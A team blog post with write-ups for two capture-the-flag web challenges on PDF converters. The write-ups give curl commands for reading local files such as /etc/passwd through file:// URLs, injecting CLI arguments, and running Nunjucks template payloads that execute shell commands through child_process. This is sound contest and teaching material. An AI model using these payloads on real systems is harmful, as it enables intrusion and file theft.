team-logo
MindCrafters
Published on

No Hack No CTF 2026 - Web challenges

Authors

Introduction

No Hack No CTF 2026 is a Jeopardy-style CTF organized by ICEDTEA from Taiwan, which took place from July 4 to July 6, 2026. Over 800 teams participated. We finished in 21st place, which we are quite satisfied with since the challenges were not simple. Using AI was allowed, which isn't surprising. Some challenges felt like they were designed specifically with AI in mind. And that's what is cool about these CTFs: the organizers know that people use LLMs on a massive scale, so instead of banning them, they simply test the tasks to see if an AI can solve them. Some tasks were quick to solve, while others took longer. But honestly, what's the fun in just running a model, walking away, and learning nothing? Pretty lame, right? Personally, I'm not very experienced in Web,I prefer PWN, but this time I wanted to play. I enlisted the help of the Codex Agent. I originally wanted to solve the first challenge - #include, but the AI consumed a massive number of tokens and made no progress. Besides, there was an annoying Captcha that had to be solved manually anyway. However, MichalBB, who is much better at Web than me, managed to solve it. Later, I saw the sequel to #include, Farewell, #include, and decided to give it a shot. With AI, of course, but not in a "do this for me" way; rather, step-by-step. I knew how to guide it, and we succeeded, even though the Agent wanted to skip some steps and I had to hold back the reins. As for the rest of the web challenges, I don't know how many there were in total because the categories were named after the organizers' nicknames. These specific Web challenges were created by solarfish.

solarfish
The web challenges in this CTF focused on vulnerabilities in PDF converters. The first challenge, #include, was relatively simple and required basic Local File Inclusion (LFI). Its sequel, Farewell, #include, required an advanced Server-Side Template Injection (SSTI) and Remote Code Execution (RCE) chain in order to retrieve the flag using a custom /readflag binary helper.

#include

include

Solution

First, we examined the application and found out that it is an Express-based URL-to-PDF converter using HeadlessChrome via html-pdf-node. The frontend forced the URL to start with http:// or https://, but the backend did not validate this, allowing us to send url=file://... directly.

After passing the reCAPTCHA, we sent a request to /convert with a local file, e.g., file:///etc/passwd, which confirmed LFI (Local File Inclusion), as the generated PDF contained the contents of that file.

Next, through file:///proc/1/cwd/package.json, we found the application's working directory and the entrypoint server.js.

Finally, we read the server source code at: file:///proc/1/cwd/server.js

The flag was located directly in the server's source code.

flag

NHNC{Well_done!_stay_tuned_for_the_next_challenge.}

Writeup author: michalBB


Farewell, #include

farewel,include

Solution

1. Recon

The application is an Express-based URL-to-PDF converter. The frontend in main.js checks that the URL starts with:

http://
https://

but the backend does not enforce this. A manual request to /convert can use file://.

Example LFI:

curl -sS -X POST "$BASE/convert" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'converter=markdown-pdf' \
  --data-urlencode 'url=file:///etc/hosts' \
  -o hosts.pdf

pdftotext -layout hosts.pdf -

2. Source Leak

Using LFI, we downloaded useful files:

/proc/1/cwd/package.json
/proc/1/cwd/server.js
/readflag.c
/app/lib/mdpdf/dist/src/index.js
/app/lib/percollate/index.js
/app/lib/percollate/cli.js
/app/lib/percollate/src/cli-opts.js

/readflag.c showed that the flag must be read by executing:

/readflag give me the flag

Reading /flag directly through LFI failed because it required root privileges. /readflag switches UID/GID to 0 and then reads /flag.

3. lite-pdf Argument Injection

In server.js, the lite-pdf converter launches percollate like this:

const urls = getallurl(user_input);
const args = ['pdf', '--no-sandbox', '--output', path.resolve(job.output_path), ...urls];
spawn(process.execPath, [percollate_cli, ...args], ...);

getallurl() only splits the input on whitespace. This lets us inject CLI options into percollate, for example:

--template=/tmp/output/_temp.html file:///etc/hosts

Inside percollate, --template reaches:

nunjucks.renderString(
  await readFile(options.template || DEFAULT_TEMPLATE, 'utf8'),
  {...}
)

So, if we can control the template file, we get Nunjucks SSTI.

4. Why markdown-pdf Matters

markdown-pdf writes a predictable temporary HTML file:

const tempHtmlPath = resolve(dirname(options.destination), '_temp.html');
await writeFile(tempHtmlPath, html);
await page.goto('file:' + tempHtmlPath, ...);

Since destination is always under /tmp/output/<uuid>.pdf, the temporary file path is fixed:

/tmp/output/_temp.html

Exploit chain:

  1. markdown-pdf creates /tmp/output/_temp.html from our markdown
  2. lite-pdf receives --template=/tmp/output/_temp.html
  3. percollate renders that file with Nunjucks
  4. SSTI executes server-side Node.js code

To keep _temp.html alive long enough for the second request, the markdown included JavaScript that continuously triggered slow requests:

<script>
setInterval(() =>
  fetch("http://10.255.255.1/" + Date.now(), {mode:"no-cors"}).catch(() => {}),
100);
</script>

5. SSTI Confirmation

Test payload:

{{7*7}}

First request creates _temp.html:

curl -sS -X POST "$BASE/convert" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'converter=markdown-pdf' \
  --data-urlencode "url=https://httpbin.org/base64/<BASE64_MARKDOWN>" \
  -o /tmp/ssti-md.pdf

Second request uses it as the template:

curl -sS -X POST "$BASE/convert" \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  --data-urlencode 'converter=lite-pdf' \
  --data-urlencode 'url=--template=/tmp/output/_temp.html file:///etc/hosts' \
  -o /tmp/ssti-lite.pdf

pdftotext -layout /tmp/ssti-lite.pdf -

The PDF contained:

49

This confirmed server-side Nunjucks template execution.

6. RCE

require and process.mainModule were unavailable:

{{ range.constructor("return typeof require")() }}
{{ range.constructor("return typeof process.mainModule")() }}

but Node exposed process.getBuiltinModule:

{{ range.constructor("return typeof process.getBuiltinModule")() }}

Result:

function

Test payload:

{{ range.constructor("return process.getBuiltinModule('child_process').execSync('id').toString()")() }}

The generated PDF contained:

uid=1337(ctf) gid=1337(ctf) groups=1337(ctf)

7. Flag

Final payload:

{{ range.constructor("return process.getBuiltinModule('child_process').execSync('/readflag give me the flag').toString()")() }}

The command output appeared in the PDF generated by lite-pdf. The text was extracted with:

pdftotext -layout /tmp/flag-lite.pdf -

The recovered flag: NHNC{Farewell, my friend, promise me you won't find another 0days next time._>>bde208ebcdd541f7b695dbab932624b3}

Writeup author: kerszi


Summary

The #include challenge series was a great exercise involving Local File Inclusion, CLI Argument Injection, and Server-Side Template Injection (SSTI) in Nunjucks leading to remote code execution. Kudos to michalBB and kerszi for solving both challenges!